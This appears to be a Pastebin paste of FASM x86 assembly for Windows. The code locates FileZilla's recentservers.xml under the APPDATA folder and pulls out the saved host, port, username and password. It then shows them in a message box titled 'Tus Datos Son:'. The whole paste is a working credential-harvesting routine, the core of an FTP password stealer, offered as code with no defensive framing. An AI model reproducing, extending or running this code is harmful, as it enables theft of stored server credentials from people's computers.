Guest User

Untitled

a guest
Jul 25th, 2018
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. include "win32ax.inc"
  2.  
  3. .data
  4.         AppData                 rb 256
  5.         hFile                   dd ?
  6.         TamAr                   dd ?
  7.         DatosFileZilla          dd ?
  8.  
  9.         BufferDatos             dd ?
  10.  
  11.         Salto                   db 10,13,0
  12.  
  13. .code
  14. start:
  15.  
  16.  
  17.     invoke GetEnvironmentVariable,"APPDATA",addr AppData,256
  18.     invoke lstrcat,addr AppData,"\FileZilla\recentservers.xml"
  19.  
  20.     invoke GlobalAlloc,GPTR,1024
  21.     mov [BufferDatos],eax
  22.  
  23.     invoke CreateFile,addr AppData,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,,NULL,NULL
  24.     mov [hFile],eax
  25.  
  26.     invoke GetFileSize,eax,0
  27.     mov [TamAr],eax
  28.  
  29.     invoke GlobalAlloc,GPTR,eax
  30.     mov [DatosFileZilla],eax
  31.  
  32.     invoke ReadFile,[hFile],eax,[TamAr],ebx,0
  33.     invoke CloseHandle,[hFile]
  34.  
  35.     mov eax,[DatosFileZilla]
  36.  
  37.     dec eax
  38.  
  39.     BusHost:
  40.     inc eax
  41.  
  42.     cmp dword[eax],'<Hos'
  43.     jne BusHost
  44.  
  45.     add eax,6
  46.     push eax
  47.  
  48.     invoke lstrcat,[BufferDatos],'Host: '
  49.  
  50.     pop eax
  51.  
  52.     mov ebx,eax
  53.  
  54.     mov ecx,[BufferDatos]
  55.     add ecx,7
  56.  
  57.     sub ecx,2
  58.     dec eax
  59.  
  60.     sbHost:
  61.     inc ecx
  62.     inc eax
  63.  
  64.     cmp word[eax],'</'
  65.     je SeHost
  66.  
  67.     mov dl, byte[eax]
  68.     mov byte[ecx],dl
  69.  
  70.     jmp sbHost
  71.  
  72.     SeHost:
  73.  
  74.     mov eax,ebx
  75.     dec eax
  76.  
  77.     BusPort:
  78.     inc eax
  79.  
  80.     cmp dword[eax],'<Por'
  81.     jne BusPort
  82.  
  83.     push eax
  84.     invoke lstrcat,[BufferDatos],Salto
  85.     invoke lstrcat,[BufferDatos],'Port: '
  86.     pop eax
  87.  
  88.     add eax,6
  89.  
  90.     mov ecx, eax
  91.  
  92.     SecPort:
  93.     inc eax
  94.  
  95.     cmp word[eax],'</'
  96.     je sbPort
  97.  
  98.     jmp SecPort
  99.  
  100.     sbPort:
  101.     mov byte[eax],0
  102.  
  103.     push ecx
  104.     invoke lstrcat,[BufferDatos],ecx
  105.     pop ecx
  106.  
  107.     mov eax,ecx
  108.  
  109.     sbUser:
  110.  
  111.     inc eax
  112.     cmp dword[eax], '<Use'
  113.     jne sbUser
  114.  
  115.     add eax,6
  116.  
  117.     push eax
  118.     invoke lstrcat,[BufferDatos],Salto
  119.     invoke lstrcat,[BufferDatos],'User: '
  120.     pop eax
  121.  
  122.     mov ecx,eax
  123.  
  124.     scUser:
  125.     inc eax
  126.  
  127.     cmp word[eax],'</'
  128.     jne scUser
  129.  
  130.     mov byte[eax],0
  131.  
  132.     push ecx
  133.     invoke lstrcat,[BufferDatos],ecx
  134.     invoke lstrcat,[BufferDatos],Salto
  135.     invoke lstrcat,[BufferDatos],'Pass: '
  136.     pop ecx
  137.  
  138.     mov eax,ecx
  139.  
  140.     bPass:
  141.     inc eax
  142.     cmp dword[eax],'<Pas'
  143.     jne bPass
  144.  
  145.     add eax,6
  146.     mov ecx,eax
  147.  
  148.     nPass:
  149.  
  150.     inc eax
  151.  
  152.     cmp word[eax],'</'
  153.     jne nPass
  154.  
  155.  
  156.     mov byte[eax],0
  157.  
  158.     invoke lstrcat,[BufferDatos],ecx
  159.  
  160.     invoke MessageBoxA,0,[BufferDatos],"Tus Datos Son:",0
  161.  
  162.     ret
  163.  
  164. .end start
Add Comment
Please, Sign In to add comment